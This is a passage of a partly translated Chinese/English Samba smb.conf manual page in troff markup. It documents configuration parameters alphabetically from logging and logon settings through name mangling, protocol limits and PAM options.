这个选项支持标准的文件名代换变量,允许方便的为每个用户或者机器设置专用的日志文件.
示例: \fBlog file = /usr/local/samba/var/log.%m\fR
.TP
log level (G)
这个值(字符串)允许在\fIsmb.conf\fR里定义调试水平(记录水平).This parameter has been extended since the 2.2.x series, now it allow to specify the debug level for multiple debug classes. 这给系统配置带来更大的灵活性.
缺省的调试水平将在命令行里定义,如果没有定义,调试水平为零.
示例: \fBlog level = 3 passdb:5 auth:10 winbind:2\fR
.TP
logon drive (G)
这个选项设置一个本地路径(可以理解为网络映射盘),当登录时,用户的主目录就连接到这个本地路径(参见\fIlogon home\fR).
注意:这个选项只有在Samba是登录服务器时才有用.
缺省设置: \fBlogon drive = z:\fR
示例: \fBlogon drive = h:\fR
.TP
logon home (G)
当Win95/98或Win NT工作站登录到Samba PDC时,它们的主目录的位置.设置了这个选项,就允许在(DOS)提示符下使用形如:
C:\\> \fBNET USE H: /HOME\fR
这样的命令。
这个选项支持标准的命令选项替换,方便为每个用户或者机器提供登录脚本.
This parameter can be used with Win9X workstations to ensure that roaming profiles are stored in a subdirectory of the user's home directory\&. This is done in the following way:
\fBlogon home = \\%N\%U\profile\fR
This tells Samba to return the above string, with substitutions made when a client requests the info, generally in a NetUserGetInfo request\&. Win9X clients truncate the info to \\\\server\\share when a user does \fBnet use /home\fR but use the whole string when dealing with profiles\&.
Note that in prior versions of Samba, the \fIlogon path\fR was returned rather than \fIlogon home\fR\&. This broke \fBnet use /home\fR but allowed profiles outside the home directory\&. The current implementation is correct, and can be used for profiles if you use the above trick\&.
注意,这个选项只在Samba被设置成为登录服务器logon server时才起作用.
缺省设置: \fBlogon home = "\\%N\%U"\fR
示例: \fBlogon home = "\\remote_smb_server\%U"\fR
.TP
logon path (G)
这个选项指定了存放roaming profile(WindowsNT的NTuser.dat 等文件)的用户目录.Contrary to previous versions of these manual pages, it has nothing to do with Win 9X roaming profiles. To find out how to handle roaming profiles for Win 9X system, see the \fIlogon home\fR parameter.
这个选项支持标准替换,允许你为每一个用户或机器设置不同的登录脚本.它也可以指定那些显示在Windows NT客户端上的"应用程序数据"(\fI桌面\fR,\fI开始菜单\fR,\fI网上邻居\fR和\fI程序\fR等文件夹和他们的内容).
指定的共享资源和路径必须是用户可读的,这样,设定的选项和目录才能被Windows NT客户端装载使用.这个共享资源在用户第一次登录时必须是可写的,这样Windows NT客户端才能建立NTuser.dat文件及其他目录.
然后,这些目录以及其中的任何内容都可以根据需要设置为只读的.把NTuser.dat文件设置成只读是不明智的,你应该把它改名成NTuser.man(一个强制使用(\fBMAN\fRdatory)的user.dat)来达到同样的目的.
Windows终端有时候即使没有用户登录也会保持对[homes]共享资源的连接.因此,logon path不能包含对homes共享资源的任何参照(也就是说,把这个选项设置成类似\\\\%N\\HOMES\\profile_path会引起问题).
这个选项支持标准替换,允许你为不同的机器或用户设置不同的登录脚本.
注意,这个选项只有在Samba被设置成为登录服务器logon server的时候才起作用.
缺省设置: \fBlogon path = \\\\%N\\%U\\profile\fR
示例: \fBlogon path = \\\\PROFILESERVER\\PROFILE\\%U\fR
.TP
logon script (G)
这个选项指明,当一个用户成功的登录后,将会自动下载到本地执行的脚本文件,这个脚本文件可能是一个批处理文件(.bat)或者一个NT命令文件(.cmd).这个脚本文件必须使用DOS风格的回车/换行(CR/LF)来结束每一行,因此,我们推荐使用DOS风格的文本编辑器来建立这个文件.
脚本文件的存放位置必须是相对于[netlogon]服务中指明的目录路径,举例来说,如果[netlogon]服务指定了了一个\fIpath\fR是\fI/usr/local/samba/netlogon\fR,而\fBlogon script \fR = STARTUP.BAT, 那么将要下载到客户端执行的文件的实际存放位置是:
\fI/usr/local/samba/netlogon/STARTUP.BAT\fR
登录脚本的内容包含什么,完全由你决定.我们建议包含这个指令:\fBNET TIME \\SERVER /SET /YES\fR,它强迫每一台机器的时间和服务器的时间同步(以服务器的时间为准);另一个建议是映射公共工具盘:\fBNET USE U:\\\\SERVER\\"公共工具目录"\fR 例如:
.nf
NET USE Q:\\SERVER\ISO9001_QA
.fi
注意:在一个有安全要求的系统环境中,特别重要的是要记住不要允许客户在[netlogon]上有写的权限,也不要给以客户改写登录脚本文件的权利.如果允许客户随意的修改,安全规则就给撕裂了一个口子.
这个选项支持标准的置换规则,允许你为每个不同的用户或机器定制不同的登录脚本.
注意,这个选项只有在Samba设置为登录服务器时才起作用.
缺省设置: \fBno logon script defined\fR
示例: \fBlogon script = scripts\%U.bat\fR
.TP
lppause command (S)
这个选项指定在服务器上中断指定的打印作业的打印或假脱机打印操作所使用的指令.
这个指令应该是一个可以根据打印机名和作业号中断打印作业的程序或脚本.实现这个操作的一个办法是使用作业优先级,优先级别太低的作业不会被发送到打印机上.
用\fI%p\fR置换可以取得打印机名,而\fI%j\fR会被打印作业号(一个整数)置换.在HPUX系统中(参见\fIprinting=hpux \fR),如果给lpq命令加上\fI-p%p\fR选项,打印作业会显示其执行状态,具体的说,如果作业的优先级低于阻塞级别,它会显示'PAUSED'状态,反之,如果作业的优先级等于或高于阻塞级别,它会显示'SPOOLED'或'PRINTING'状态.
注意,在这个设置中使用绝对路径是一个好习惯,因为这个路径有可能不在服务器的PATH环境变量中.
参见 \fIprinting \fR parameter选项.
缺省设置: 目前这个选项没有缺省设置,除非\fIprinting\fR选项设置\fBSYSV\fR,在这种情况下,缺省参
数是:
\fBlp -i %p-%j -H hold\fR
或者在\fIprinting\fR选项设置为\fBsoftq\fR时,缺省选项是:
\fBqstat -s -j%j -h\fR
在HPUX系统中的例子: \fBlppause command = /usr/bin/lpalt %p-%j -p0\fR
.TP
lpq cache time (G)
此选项控制了\fBlpq\fR信息多长时间被缓冲一次,以防止频繁调用\fBlpq\fR命令.每一次系统使用\fBlpq\fR命令会保留一个单独的缓冲,所以如果不同的用户分别使用了不同的\fBlpq\fR命令的话,他们不可能共享缓冲信息.
缓冲文件被存放在\fI/tmp/lpq.xxxx\fR文件中,其中的xxxx是正在使用的\fBlpq\fR命令哈希表.
这个选项的缺省值是10秒,这就是说以前相同的\fBlpq\fR命令的缓冲内容将在周期为10秒内被使用.如果\fBlpq\fR命令非常慢的话,可以取稍大的值.
把这个值设为0就完全禁止了缓冲技术的使用.
参见 \fIprinting\fR 选项.
缺省设置: \fBlpq cache time = 10\fR
示例: \fBlpq cache time = 30\fR
.TP
lpq command (S)
这个选项指定为了获得\fBlpq\fR风格的打印机状态信息而要在服务器上要执行的命令.
这个命令应该是一个只以打印机名作为选项并可以输出打印机状态信息的程序或脚本.
通常支持九种打印机状态信息:CUPS, BSD,AIX,LPRNG,PLP,SYSV,HPUX,QNX和SOFTQ.而这些正好覆盖了大多数的UNIX系统.你可以用\fIprinting =\fR选项来控制到底要用哪种类型.
有些客户端(特别是Windows for Workgroups)可能不能正确地向打印机发送联接号以获得状态信息.对此,服务器会向客户报告它所联接的首个打印服务.这样的情况只当联接号发送非法时才会发生.
如果使用\fI%p\fR变量的话,系统会在此处放置打印机名.否则在命令后放置打印机名.
注意,当服务器不能获得\fBPATH\fR变量的话,以绝对路径来描述\fIlpq command\fR是个好习惯. 当与CUPS库编译连接时,不需要\fIlpq command\fR,因为smbd将使用库调用来获得打印队列列表。
参见 \fIprinting \fR 选项.
缺省设置: \fB依赖于 \fI printing\fR 的设置情况\fR
示例: \fBlpq command = /usr/bin/lpq -P%p\fR
.TP
lpresume command (S)
此选项指定为了继续连续打印或假脱机一个指定的打印任务时要在服务器上执行的命令.
此命令应该是一个以打印机名和要恢复的打印任务号作为选项的程序或脚本.参见\fIlppause command \fR参数。
如果使用\fI%p\fR变量的话,系统会在此处放置打印机名.用\fI%j\fR来代替打印任务号,当然是用整数形
式罗.
注意,当服务器不能获得PATH变量的话,以绝对路径来描述\fIlpresume command\fR是个好习惯
参见 \fIprinting \fR 选项.
缺省设置: 当前没有缺省设置,除非 \fIprinting\fR 选项是 \fBSYSV\fR, 此时默认是
\fBlp -i %p-%j -H resume\fR
或者如果\fIprinting\fR 选项是 \fBSOFTQ\fR, 那么默认是:
\fBqstat -s -j%j -r\fR
HPUX的示例: \fBlpresume command = /usr/bin/lpalt %p-%j -p2\fR
.TP
lprm command (S)
此选项指定为了要删除一个打印任务而需要在服务器上执行的命令.
此命令应该是一个使用打印机名和打印任务号的程序或脚本,并且执行它们可以删掉打印任务.
如果使用\fI%p\fR变量的话,系统会在此处放置打印机名.用\fI%j\fR来代替打印任务号,当然是也用整数形式罗.
注意,当不能从服务器获得PATH变量的话,以绝对路径来描述\fIlprm command\fR是个好习惯.
参见\fIprinting \fR 选项.
缺省设置: \fB依赖于 \fIprinting \fR 选项设置\fR
示例 1: \fBlprm command = /usr/bin/lprm -P%p %j\fR
示例 2: \fBlprm command = /usr/bin/cancel %p-%j\fR
.TP
machine password timeout (G)
如果samba服务器是Windows NT域成员的话(参见\fIsecurity=domain\fR选项),那么运行中的smbd进程会周期性地试着改变储存在叫做\fIprivate/secrets.tdb\fR的TDB中的MACHINE ACCOUNT PASSWORD.这个参数指定了密码将多久更换一次,以秒为单位。缺省值是一个星期(当然要以秒来表示),这与NT域成员服务器是一样的.
参见 \fBsmbpasswd\fR(8), 和 \fIsecurity = domain\fR 选项.
缺省设置: \fBmachine password timeout = 604800\fR
.TP
magic output (S)
此选项指定了一个用magic脚本输出内容而建立的文件的名称,参见下面对\fImagic script\fR选项的描述.
警告:如果两个客户在同样的目录下用相同的\fImagic script\fR,输出文件内容是无法确定的.
缺省设置: \fBmagic output = <magic script name>.out\fR
示例: \fBmagic output = myfile.txt\fR
.TP
magic script (S)
这个选项用来指定将被服务器执行的文件的名字,这个文件如果已经打开,那么,当这个文件关闭后服务器同样也可以运行.这样就允许了一个UNIX脚本可以传送到samba主机,并为所连接的用户运行.
以这种方式运行的脚本将会在完成以后被删除,只要权限允许的话.
如果脚本产生了输出的话,这些信息就被送到\fImagic output\fR选项指定的文件中(见以上描述).
注意,一些命令解释器不能解释包含CR/LF而不是CR回车换行符的脚本.magic脚本必须是可以被运行的(\fB就象\fR在本地主机运行一样),而有些脚本在某些主机上或某些shell下可能会在dos客户端进行过滤处理.
magic脚本仍处于\fB实验\fR阶段,所以\fB不能\fR对此完全依赖.
缺省设置: \fB无。禁止使用magic script.\fR
示例: \fBmagic script = user.csh\fR
.TP
mangle case (S)
参见NAME MANGLING部分.
缺省设置: \fBmangle case = no\fR
.TP
mangled map (S)
这个选项是用来直接映射那些不能在Windows/DOS上描述的unix文件名.不过并不经常出现这样的情况,只有一些特殊的扩展名在DOS和UNIX之间才会不同,例如,HTML文件在UNIX下通常都是\fI.html\fR,而在Windows/DOS下通常却是\fI.htm\fR.
所以如果要将 \fIhtml\fR 映射为 \fIhtm\fR 你应当这样:
\fBmangled map = (*.html *.htm)\fR
有一个非常有用的经验是删掉在CDROM光盘上一些文件名后面讨人厌的\fI;1\fR(只有在一些UNIX可以看到它们).为此可以这样映射:(*;1 *;).
缺省设置: \fI没有 mangled map\fR
示例: \fBmangled map = (*;1 *;)\fR
.TP
mangled names (S)
这个选项控制是否要把UNIX下的非DOS文件名映射为DOS兼容的形式("mangled")并使得它们可以查阅,或者简单地忽略掉这些非DOS文件名.
NAME MANGLING部分有更多关于如何控制这类处理的详细信息.
如果使用了这种映射,那么其算法就象下面这样:
把文件名最后一个点符号前面首五个字母数字字符强制转换成大写,作为要映射名字的首五个字符.
在要映射名字的起始部分加上"~"符号,后面跟两个字符的特殊序列字串,而这个序列字串是由原始的文件名而来(也就是:原文件名去掉最后的文件扩展名).只有当文件的扩展名含有大写字母或长于三个字符时,文件的最后扩展名才被包含在散列计算中.
注意,如果你不喜欢'~'的话,可以用\fImangling char\fR选项来指定你想要的字符.
最后,扩展名部分的前三个字符会被保留,强制转换到大写并作为映射后名字的扩展名.最后的扩展名就是原始文件名中最后一个'.'右面的那部分.如果文件名中没有'.',那么映射后的文件名也没有扩展名部分(除非用了"hidden files" - 参见后面的介绍).
unix的文件名如果以点开始,那么好比DOS中的隐藏文件.这些文件映射后的文件名就会拿掉点符号并用"___"来作为它的扩展名,而不管原来的扩展名是什么("___"是三个下划线).
大写字母数字字符组成了两位散列值.
如果目录中的文件与要映射的文件名使用了相同的前五位字符,这样的算法会导致名称冲突,不过发生冲突的可能性是1/1300.
名称映射允许当需要保留unix长文件名时在unix目录与Windows/DOS之间拷贝文件.从Windows/DOS中拷过来的unix文件可以更换新的扩展名并保留同样的主文件名.名称映射并不会在转换时更改什么东西.
缺省设置: \fBmangled names = yes\fR
.TP
mangled stack (G)
这个选项控制了映射文件名的数量,以便让Samba服务器\fBsmbd\fR(8)对其进行缓存.
栈里保存了最近映射的基本文件名(扩展名只有在超过3个字符或者包含大写字符时才会保留).
栈值设得稍大一些,对于映射unix的长文件名操作会更顺利一些.但是,它会使目录访问变得更慢;小一些的栈可以保存在服务器的内存中(每个栈元素占256个字节).
并不保证在转换长文件名时绝对正确无误,准备好面对可能出现的惊奇.
缺省设置: \fBmangled stack = 50\fR
示例: \fBmangled stack = 100\fR
.TP
mangle prefix (G)
controls the number of prefix characters from the original name used when generating the mangled names\&. A larger value will give a weaker hash and therefore more name collisions\&. The minimum value is 1 and the maximum value is 6\&.
mangle prefix is effective only when mangling method is hash2\&.
缺省设置: \fBmangle prefix = 1\fR
示例: \fBmangle prefix = 4\fR
.TP
mangling char (S)
这个选项指定在name mangling操作中使用什么样的字符作为\fBmagic\fR字符.缺省是用了'~',不过有些软件可能会在使用上受到某些妨碍.可以设定为你想要的字符.
缺省设置: \fBmangling char = ~\fR
示例: \fBmangling char = ^\fR
.TP
mangling method (G)
controls the algorithm used for the generating the mangled names\&. Can take two different values, "hash" and "hash2"\&. "hash" is the default and is the algorithm that has been used in Samba for many years\&. "hash2" is a newer and considered a better algorithm (generates less collisions) in the names\&. However, many Win32 applications store the mangled names and so changing to the new algorithm must not be done lightly as these applications may break unless reinstalled\&.
缺省设置: \fBmangling method = hash2\fR
示例: \fBmangling method = hash\fR
.TP
map acl inherit (S)
This boolean parameter controls whether \fBsmbd\fR(8) will attempt to map the 'inherit' and 'protected' access control entry flags stored in Windows ACLs into an extended attribute called user\&.SAMBA_PAI\&. This parameter only takes effect if Samba is being run on a platform that supports extended attributes (Linux and IRIX so far) and allows the Windows 2000 ACL editor to correctly use inheritance with the Samba POSIX ACL mapping code\&.
缺省设置: \fBmap acl inherit = no\fR
.TP
map archive (S)
这个选项决定了是否把DOS的归档属性映射为UNIX可执行位.在文件修改后DOS的归档位会被设定到文件上.保持归档位的一个理由是使得Samba或者你的PC在新建任何文件的时候,不会为它们设置UNIX可执行属性。那样对于共享源代码、文档等等非常让人厌烦。
注意这个选项需要在\fIcreate mask\f中没有排除文件属主的执行权限位(也就是说它必须包含100).参见\fIcreate mask\fR选项中的描述.
缺省设置: \fBmap archive = yes\fR
.TP
map hidden (S)
这个选项决定DOS下的隐藏文件是否要映射为UNIX全局可执行位.
注意这个选项需要在\fIcreate mask\fR中没有排除所有用户的执行权限位(也就是说它必须包含001).参见\fIcreate mask\fR选项中的描述.
缺省设置: \fBmap hidden = no\fR
.TP
map system (S)
这个选项决定DOS下的系统文件是否要映射为UNIX组可执行位.
注意这个选项需要在\fIcreate mask\fR中没有排除组用户的执行权限位(也就是说它必须包含010).参见\fIcreate mask\fR选项中的描述.
缺省设置: \fBmap system = no\fR
.TP
map to guest (G)
这个选项只在安全模式不是共享级(\fIsecurity=share\fR)时才有用,也就是选用了用户安全级,服务器安全级或者域安全级(\fBuser\fR, \fBserver\fR, 和\fBdomain\fR).
这时,选项会有三种不同的值,分别通知\fBsmbd\fR(8)在用户以非法身份登录时作何相应处理.
这三种设定是:
\fBNever\fR - 意思是用户登录时用了个非法口令并且被服务器所拒.这是个缺省值.
\fBBad User\fR - 意思是用户登录时用了非法口令并且被服务器所拒,除非用户名不存在,否则也可以以来宾身份登录并映射到对应的\fIguest account\fB账号.
\fBBad Password\fR - 意思是用户登录时即使用了非法口令,但是还会以来宾身份登录并映射到对应的guest账号.可能出现这样的问题,就是用户虽然输错了口令,却非常平静地以\(lq来宾\(rq身份登录到系统上。他们不明白为什么他们不能访问那些他们认为可以访问的资源,因为在登录时没有任何信息提示他们输错了口令。所以应该小心使用它,以避免不必要的麻烦. Helpdesk services will \fBhate\fR you if you set the \fImap to guest\fR parameter this way :-).
注意当使用共享级以外的其它安全模式时,要设定这个选项,以使"Guest"共享资源服务发挥作用.因为在这些安全级模式中,用户请求的共享资源名在服务器成功验证用户登录前\fB不会\fR发送到服务器作处理,所以服务器就在不能处理联接验证结果时为联接提供"Guest"共享.
对于那些以前的版本,这个选项会映射到编译时所用的local.h文件里定义的\fBGUEST_SESSSETUP\fR变量的值.
缺省设置: \fBmap to guest = Never\fR
示例: \fBmap to guest = Bad User\fR
.TP
max connections (S)
最大联接数就是允许同时联接到一个资源服务的最大数量限制.在\fImax connections\fR大于0的情况下,如果联接数超过了最大联接数设定时,超出的联接将被拒绝.如果设为0的话就没有这样的联接限制了.
为了实现这样的功能,系统会使用记录锁定文件.锁定文件存放在\fIlock directory\fR选项指定的目录中.
缺省设置: \fBmax connections = 0\fR
示例: \fBmax connections = 10\fR
.TP
max disk size (G)
控制磁盘使用的上限.如果把它设为100的话,所有的共享资源容量都不会超过100M.
注意这个选项并不是限制管理员往磁盘上存放数据的容量.在上面所说的情况中,管理员仍然可以存放超过100M的数据到磁盘上,但如果客户查询剩余磁盘空间或磁盘总空间的话,所得到的结果就只在这个 \fImax disk size\fR指定的容量范围之内.
使用这个选项主要是为了对一些疯狂使用磁盘空间的软件进行一定的限制,特别是它们可能会使用超过1G上以的磁盘空间.
把这个选项设为0说明没有限制.
缺省设置: \fBmax disk size = 0\fR
示例: \fBmax disk size = 1000\fR
.TP
max log size (G)
这个选项(一个kB为单位的整数)用来指定使用的记录文件最大到多少容量.samba会周期性地检查这个容量,如果超过这个选项值就把老的文件换名成扩展名为\fI.old\fR的文件.
把这个选项设为0说明没有限制.
缺省设置: \fBmax log size = 5000\fR
示例: \fBmax log size = 1000\fR
.TP
max mux (G)
这个选项控制了对用户允许的最大SMB并发操作数.你应该不需要设定这个选项的.
缺省设置: \fBmax mux = 50\fR
.TP
max open files (G)
这个选项限定了在任意时间客户端用一个 \fBsmbd\fR(8)文件服务进程可以打开的最大文件数.缺省的值非常高(10,000),因为对于每个未打开的文件只使用其中的一位.
打开文件极限通常用UNIX每进程最大文件描述符数来限制更好,所以你不需要去碰这个选项的.
缺省设置: \fBmax open files = 10000\fR
.TP
max print jobs (S)
This parameter limits the maximum number of jobs allowable in a Samba printer queue at any given moment\&. If this number is exceeded, \fBsmbd\fR(8) will remote "Out of Space" to the client\&. See all \fItotal print jobs\fR\&.
缺省设置: \fBmax print jobs = 1000\fR
示例: \fBmax print jobs = 5000\fR
.TP
max protocol (G)
此项的值是一个字符串,定义了服务器支持的最高协议等级.
可能的值是:
\fBCORE\fR: 早期版本,不接受用户名.
\fBCOREPLUS\fR: 在CORE的基础上改进了一些性能.
\fBLANMAN1\fR: 第一个比较流行的协议,支持长文件名.
\fBLANMAN2\fR: 对LANMAN1进行了更新.
\fBNT1\fR: 目前用于Windows NT,一般称为CIFS.
通常,此选项不必设定,因为在SMB协议中会自动协商并选择合适的协议.
参见 \fImin protocol\fR
缺省设置: \fBmax protocol = NT1\fR
示例: \fBmax protocol = LANMAN1\fR
.TP
max reported print jobs (S)
This parameter limits the maximum number of jobs displayed in a port monitor for Samba printer queue at any given moment\&. If this number is exceeded, the excess jobs will not be shown\&. A value of zero means there is no limit on the number of print jobs reported\&. See all \fItotal print jobs\fR and \fImax print jobs\fR parameters\&.
缺省设置: \fBmax reported print jobs = 0\fR
示例: \fBmax reported print jobs = 1000\fR
.TP
max smbd processes (G)
This parameter limits the maximum number of \fBsmbd\fR(8) processes concurrently running on a system and is intended as a stopgap to prevent degrading service to clients in the event that the server has insufficient resources to handle more than this number of connections\&. Remember that under normal operating conditions, each user will have an \fBsmbd\fR(8) associated with him or her to handle connections to all shares from a given host\&.
缺省设置: \fBmax smbd processes = 0\fR ## no limit
示例: \fBmax smbd processes = 1000\fR
.TP
max ttl (G)
这个选项通知\fBnmbd\fR(8) 当它用广播或从WINS服务器请求一个名字时,这个NetBIOS名字的有效时间('time to live', 以秒计)是多长.你不需要去碰这个选项,缺省值是3天.
缺省设置: \fBmax ttl = 259200\fR
.TP
max wins ttl (G)
这个选项通知\fBsmbd\fR(8)程序当它作为一个WINS服务器时(\fIwins support =true\fR),nmbd承认的最长NetBIOS名字生存时间('time to live',以秒计).你不需要去改变这个选项的,缺省值是6天(518400秒).
参见 \fImin wins ttl\fR 选项.
缺省设置: \fBmax wins ttl = 518400\fR
.TP
max xmit (G)
这个选项控制通过samba的最大包容量.缺省值是65535,同时这也是最大值.有时你可能用一个较小的值可以得到更好的性能.不过低于2048通常会有一些问题.
缺省设置: \fBmax xmit = 65535\fR
示例: \fBmax xmit = 8192\fR
.TP
message command (G)
当服务器接收到一个WinPopup类似的信息时运行一个指定的命令.
通常这个命令所做之事都取决于你的想象.
例如:
\fBmessage command = csh -c 'xedit %s;rm %s' &\fR
这个命令用\fBxedit\fR发出一条信息,然后再删除它.\fB注意很重要的一点是这个命令应该立即返回\fR.这就是为什么在行末用'&'的原因.如果它没有立即返回的话,计算机可能会在发送信息时当掉的(不过一般都会在30秒后恢复).
所有信息都被以全局访客用户身份发送.命令可以使用标准的替换符,不过\fI%u\fR将不会有效(在这里用\fI%U\fR可能更好).
除了标准替换的部分,还可以应用一些附加的替换,比如:
\fI%s\fR =包含消息的文件名
\fI%t\fR = 发送信息的目标(很可能是服务器名).
\fI%f\fR = 信息的来源.
你可以用这个命令来发送邮件或者你想要的内容.如果你有关于发送内容的好主意请通知开发人员.
有个例子可以以邮件形式发送信息给root:
\fBmessage command = /bin/mail -s 'message from %f on %m' root < %s; rm %s\fR
如果没有指定发送信息所用的命令,那么这个信息并不会被发出,同时Samba向发送者报告出错.不幸的是WfWg(Windows for Workgrups)完全忽略出错代码,提示信息已被发出.
如果你想要悄悄地删掉它的话请用:
\fBmessage command = rm %s\fR
缺省设置: \fB没有 message command\fR
示例: \fBmessage command = csh -c 'xedit %s; rm %s' &\fR
.TP
min passwd length (G)
与 \fImin password length\fR 同义.
.TP
min password length (G)
此项设定当执行变更UNIX口令时\fBsmbd\fR接受的明文口令的最小字符长度.
参见 \fIunix password sync\fR, \fIpasswd program\fR和 \fIpasswd chat debug\fR 选项.
缺省设置: \fBmin password length = 5\fR
.TP
min print space (S)
此项设定一个用户假脱机打印作业必须的最小剩余磁盘空间.当然是用kB 为单位.缺省设为0,就是说用户总是可以假脱机打印作业.
参见 \fIprinting \fR 选项。
缺省设置: \fBmin print space = 0\fR
示例: \fBmin print space = 2000\fR
.TP
min protocol (G)
The value of the parameter (a string) is the lowest SMB protocol dialect than Samba will support\&. Please refer to the \fImax protocol\fR parameter for a list of valid protocol names and a brief description of each\&. You may also wish to refer to the C source code in \fIsource/smbd/negprot\&.c\fR for a listing of known protocol dialects supported by clients\&.
If you are viewing this parameter as a security measure, you should also refer to the \fIlanman auth\fR 选项。 Otherwise, you should never need to change this 选项。
Default : \fBmin protocol = CORE\fR
Example : \fBmin protocol = NT1\fR # disable DOS clients
.TP
min wins ttl (G)
此项通知\fBnmbd\fR(8)当以WINS服务器的形式(\fIwins support = yes\fR)执行时,它所承认的NetBIOS名字的最小有效时间(以秒为单位).这个选项无需更改,缺省是6小时(21600秒)
缺省设置: \fBmin wins ttl = 21600\fR
.TP
msdfs proxy (S)
This parameter indicates that the share is a stand-in for another CIFS share whose location is specified by the value of the 选项。 When clients attempt to connect to this share, they are redirected to the proxied share using the SMB-Dfs protocol\&.
Only Dfs roots can act as proxy shares\&. Take a look at the \fImsdfs root\fR and \fIhost msdfs\fR options to find out how to set up a Dfs root share\&.
示例: \fBmsdfs proxy = \\\\otherserver\\someshare\fR
.TP
msdfs root (S)
If set to \fByes\fR, Samba treats the share as a Dfs root and allows clients to browse the distributed file system tree rooted at the share directory\&. Dfs links are specified in the share directory by symbolic links of the form \fImsdfs:serverA\\\\shareA,serverB\\\\shareB\fR and so on\&. For more information on setting up a Dfs tree on Samba, refer to ???\&.
参见 \fIhost msdfs\fR
缺省设置: \fBmsdfs root = no\fR
.TP
name cache timeout (G)
Specifies the number of seconds it takes before entries in samba's hostname resolve cache time out\&. If the timeout is set to 0\&. the caching is disabled\&.
缺省设置: \fBname cache timeout = 660\fR
示例: \fBname cache timeout = 0\fR
.TP
name resolve order (G)
samba套件中的一些程序使用此项来决定使用的名字服务以及解析主机名到IP地址的次序.主要目的是控制netbios名称怎样解析。此选项列出不同的名字解析选项,以空格为分隔符.
这些名字解析选项是:"lmhosts","host","wins"和"bcast".它们决定了名字解析是以如下方式的:
\fBlmhosts\fR : 在samba的lmhosts文件中查找IP地址.如果lmhosts文件的内容行中没有名字类型附加在NetBIOS名上时(参见\fBlmhosts\fR (5)中的详细描述),任何类型的名字都可以匹配这个查询.
\fBhost\fR : 执行标准的主机名到IP地址的解析操作,此操作会使用系统的\fI/etc/hosts\fR,NIS或者是DNS来查询.具体方法取决于操作系统,在IRIX和Solaris中解析名字的方法可能是由\fI/etc/nsswitch.conf\fR文件来控制的.注意此方法只适用于对被查询的NetBIOS名字类型为0x20(服务器)或者是0x1c(域控制器)时才有用,其它类型都会被忽略.后一种情况只在活动目录域中有用,返回一个匹配_ldap._tcp.domain 的SRV RR条目的DNS 查询。
\fBwins\fR : 向列在\fIwins server\fR选项中的服务器查询一个名字对应的IP地址.如果没有指定WINS服务器,那么此方法就被略过了.
\fBbcast\fR : 向在\fIinterfaces\fR选项中列出的每一个已知本地网络接口进行广播来作查询.这是最不可信的名字解析方法,除非目标主机就在本地子网中.
缺省设置: \fBname resolve order = lmhosts host wins bcast\fR
示例: \fBname resolve order = lmhosts bcast host\fR
在上例中首先检查本地lmhosts文件,然后尝试广播,接下来就是用通常的系统主机名查询方式了.
When Samba is functioning in ADS security mode (\fBsecurity = ads\fR) it is advised to use following settings for \fIname resolve order\fR:
\fBname resolve order = wins bcast\fR
DC lookups will still be done via DNS, but fallbacks to netbios names will not inundate your DNS servers with needless querys for DOMAIN<0x1c> lookups\&.
.TP
netbios aliases (G)
此项指定一串NetBIOS名字让nmbd作为附加的名字进行宣布.这样就使一个机器在可浏览列表中可以出现多个名字形式.如果主机是浏览服务器或登录服务器, 就不会出现这些附加的别名,而只会使用它的初始名字.
参见 \fInetbios name\fR 选项。
缺省设置: \fB空字符串 (没有附加的名字)\fR
示例: \fBnetbios aliases = TEST TEST1 TEST2\fR
.TP
netbios name (G)
此项对一已知的samba服务器设置它的NetBIOS名.缺省情况下会使用此主机DNS名字的主机名部分.如果这个服务器是作浏览服务器或登录服务器时(或是主机DNS名的第一个成分时),这个服务器名将成为这些服务对外宣布时所用的名字.
参见 \fInetbios aliases\fR 选项
缺省设置: \fBmachine DNS name\fR
示例: \fBnetbios name = MYNAME\fR
.TP
netbios scope (G)
This sets the NetBIOS scope that Samba will operate under\&. This should not be set unless every machine on your LAN also sets this value\&.
.TP
nis homedir (G)
此项从NIS映射表中取得有效共享服务器.对于用自动装载程序的UNIX系统来说,用户的主目录经常根据需要从远程服务器装载到一个需要的工作站上.
如果samba登录服务器不是作为真正主目录服务器而是通过NFS来实现,却通知用户以SMB服务器来使用主目录时,用户装载主目录来进行访问需要两个网络跳步(一个以SMB方式,另一个以NFS方式装载).这样的使用方式是非常慢的.
此选项允许当Samba在主目录服务器方式运行时让samba反馈目录服务器而非登录服务器上的主共享资源,这样samba用户可以直接从目录服务器上装载目录.当samba把目录共享资源反馈给用户,这时它会参考\fIhomedir map\fR选项指定的NIS映射表然后再反馈表中列出的服务.
注意要使此项起作用必须有一个运作中的NIS系统,并且samba服务器必须是一个登录服务器。
缺省设置: \fBnis homedir = no\fR
.TP
nt acl support (S)
此布尔量选项控制是否让\fBsmbd\fR(8)尝试把UNIX权限映射到NT的访问控制列表.这个参数在2.2.2之前是一个全局选项。
缺省设置: \fBnt acl support = yes\fR
.TP
ntlm auth (G)
This parameter determines whether or not \fBsmbd\fR(8) will attempt to authenticate users using the NTLM encrypted password response\&. If disabled, either the lanman password hash or an NTLMv2 response will need to be sent by the client\&.
If this option, and \fBlanman auth\fR are both disabled, then only NTLMv2 logins will be permited\&. Not all clients support NTLMv2, and most will require special configuration to us it\&.
Default : \fBntlm auth = yes\fR
.TP
nt pipe support (G)
此布尔量选项控制是否让\fBsmbd\fR(8)允许Windows NT用户联接到NT的特殊SMB管道\fBIPC$\fR.这通常是开发者所用的调试项,其它用户可以不管.
缺省设置: \fBnt pipe support = yes\fR
.TP
nt status support (G)
This boolean parameter controls whether \fBsmbd\fR(8) will negotiate NT specific status support with Windows NT/2k/XP clients\&. This is a developer debugging option and should be left alone\&. If this option is set to \fBno\fR then Samba offers exactly the same DOS error codes that versions prior to Samba 2\&.2\&.3 reported\&.
You should not need to ever disable this 选项。
缺省设置: \fBnt status support = yes\fR
.TP
null passwords (G)
Allow or disallow client access to accounts that have null passwords\&.
允许或禁止用户以空口令使用账号.
参见\fBsmbpasswd\fR(5).
缺省设置: \fBnull passwords = no\fR
.TP
obey pam restrictions (G)
When Samba 3\&.0 is configured to enable PAM support (i\&.e\&. --with-pam), this parameter will control whether or not Samba should obey PAM's account and session management directives\&. The default behavior is to use PAM for clear text authentication only and to ignore any account or session management\&. Note that Samba always ignores PAM for authentication in the case of \fIencrypt passwords = yes\fR\&. The reason is that PAM modules cannot support the challenge/response authentication mechanism needed in the presence of SMB password encryption\&.
缺省设置: \fBobey pam restrictions = no\fR
.TP
only guest (S)
与 \fI guest only\fR同义.
.TP
only user (S)
